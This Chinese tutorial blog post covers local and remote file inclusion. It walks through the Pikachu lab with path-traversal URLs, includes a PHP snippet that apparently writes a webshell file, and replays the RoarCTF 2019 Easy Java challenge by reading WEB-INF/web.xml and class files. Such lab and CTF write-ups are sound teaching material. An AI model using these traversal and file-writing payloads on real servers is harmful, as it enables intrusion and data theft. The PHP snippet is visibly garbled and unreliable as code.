文件操作之文件下载读取全解

在Web开发中,开发人员常使用包含函数(如include)来复用代码。但当用户能控制包含的文件路径时,如果没有进行安全校验,攻击者可以构造恶意路径来执行任意文件或代码。

根据利用方式不同,主要分为:

本地文件包含(LFI):包含服务器本地文件

远程文件包含(RFI):包含远程URL文件(需特定配置)

1.文件下载,读取,利用

  1. 进入pikachu靶场选择file include 本地文件包含,这时的url:http://pikachu:8000/vul/fileinclude/fi_local.php

然后随机点击一个,这我选的老大

此时的url:http://pikachu:8000/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4

此时发现fi_local.php?filename=file1.php&submit=提交

知道了在这个文件夹下存在file1.php

验证一下:

其实这个文件的完整路径是:"D:\phpstudy_pro\WWW\pikachu\vul\fileinclude\include\file1.php"

然后在这个网站URL路径是这样的:http://pikachu:8000/vul/fileinclude/fi_local.php?filename=file1.php

fi_local.php中使用了相对路径 ./include/ + filename,而filename来自用户输入的file1.php。

所以如果我们在www文件夹下面创建一个1.txt那能不能读取呢?内容是lllxxy

试试:

此时我的1.txt在"D:\phpstudy_pro\WWW\1.txt"

然后这个http://pikachu:8000/vul/fileinclude/fi_local.php?filename=file1.php

应该输入四个../:http://pikachu:8000/vul/fileinclude/fi_local.php?filename=../../../../1.txt&submit=%E6%8F%90%E4%BA%A4

达到效果成功

2.远程文件包含

这个他会提示你要把更改php.ini文件中allow_url_include,后方off改为on

打开修改后就显示正常:http://pikachu:8000/vul/fileinclude/fi_remote.php

然后还是随便选择一个进行:

http://pikachu:8000/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

2.然后利用文件写入的php语言:

<?php

/**

$myfile = fopen("lllxxy.php","w");

txt = '\_GETx);?>';

fwrite(myfile,txt);

fclose($myfile);

?>

然后要么进行回环要么远程连接就可以实现

3.RoarCTF2019-文件读取真题复现-比赛( RoarCTF 2019Easy Java1**)**

https://buuoj.cn/challenges#RoarCTF%202019Easy%20Java

1.尝试弱密码发现不对

2.点击help看看有什么提示出现了这个:

复制代码
java.io.FileNotFoundException:{help.docx}

这个错误提示的意思是:Java程序找不到名为 help.docx 的文件。

然后尝试:post方式提交(Java一般文件下载以post方式提交)

提交之后出现:

然后根据javaweb的知识:

WEB-INF/web.xml 是 Java Web 应用程序中非常核心的标准配置文件。

再尝试提交:WEB**-INF/web.xml**

出现

<web-app xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">

<welcome-file-list>

<welcome-file>Index</welcome-file>

</welcome-file-list>

<servlet>

<servlet-name>IndexController</servlet-name>

<servlet-class>com.wm.ctf.IndexController</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>IndexController</servlet-name>

<url-pattern>/Index</url-pattern>

</servlet-mapping>

<servlet>

<servlet-name>LoginController</servlet-name>

<servlet-class>com.wm.ctf.LoginController</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>LoginController</servlet-name>

<url-pattern>/Login</url-pattern>

</servlet-mapping>

<servlet>

<servlet-name>DownloadController</servlet-name>

<servlet-class>com.wm.ctf.DownloadController</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>DownloadController</servlet-name>

<url-pattern>/Download</url-pattern>

</servlet-mapping>

<servlet>

<servlet-name>FlagController</servlet-name>

<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

</servlet-mapping>

</web-app>

这里就有一些提示:FlagController (这里应该是一个目录com.wm.ctf.FlagController)很可能是获取 flag 的关键入口!

再尝试访问:filename=WEB-INF/web.xml/com.wm.ctf.FlagController发现不行

在尝试:filename=WEB-INF/classes/com/wm/ctf/FlagController.class

发现得到<ZmxhZ3tlMDQ5ZWU5Yi1hYTY5LTRhNWMtYWZkOS1kODE2MmI4YWQxNmJ9Cg==

解码:flag{e049ee9b-aa69-4a5c-afd9-d8162b8ad16b}

总结

1.要发现是文件包含的题目可以从url就可以知道了

2.javaweb的提交方式基本都是post

3.WEB-INF/web.xml 是 Java Web 应用程序中非常核心的标准配置文件。

4.如果真的要访问类文件,应该是: WEB-INF/ ├── web.xml └── classes/ └── com/ └── wm/ └── ctf/ └── FlagController.class

5.最后得到flag

相关推荐
网络毒刘13 小时前
Manual 模式精修补丁:在 Agent 提案后用最小编辑完成高风险改动
安全·agent·ai编程·cursor
hasty15 小时前
超时不等于安全结束:Wasmtime 批量操作漏洞与取消后的状态一致性
安全
troy12815 小时前
智能体沙箱:如何为 Agent 模型搭建安全试验场,降低幻觉带来的损失
网络·安全
Chengbei1115 小时前
拒绝无效洞!蚂蚁Src榜一Clown 2.0 SRC SKill 第二代带状态闭环的白盒 & 黑盒审计 Skill
网络·人工智能·安全·web安全·网络安全·自动化·安全架构
hasty16 小时前
安全扫描器也要被隔离:Trivy Terraform 文件读取漏洞与 CI 输出边界
安全·ci/cd·terraform
科技小登17 小时前
零信任与远程办公安全方案对比:身份认证、权限最小化与访问审计的选型测评
安全
事圆则缓18 小时前
Kotlin 入门与面试:从空安全、扩展函数到协程
安全·面试·kotlin
沫璃染墨18 小时前
《从零入门Linux系统篇(五十八):线程篇·十一——线程安全与死锁详解:从可重入到多锁管理》
linux·服务器·开发语言·c++·驱动开发·安全·架构
Flynt19 小时前
800KB 的 JSON 吃掉 8.5 秒 CPU:jackson 这波修复里,最容易被漏掉的洞藏在字符串里
java·安全
赛博守夜人19 小时前
跨境业务与出海合规之六:跨境数据出境与《个保法》/GDPR 冲突下的数据安全架构,技术隔离与加密信道实践
安全·安全架构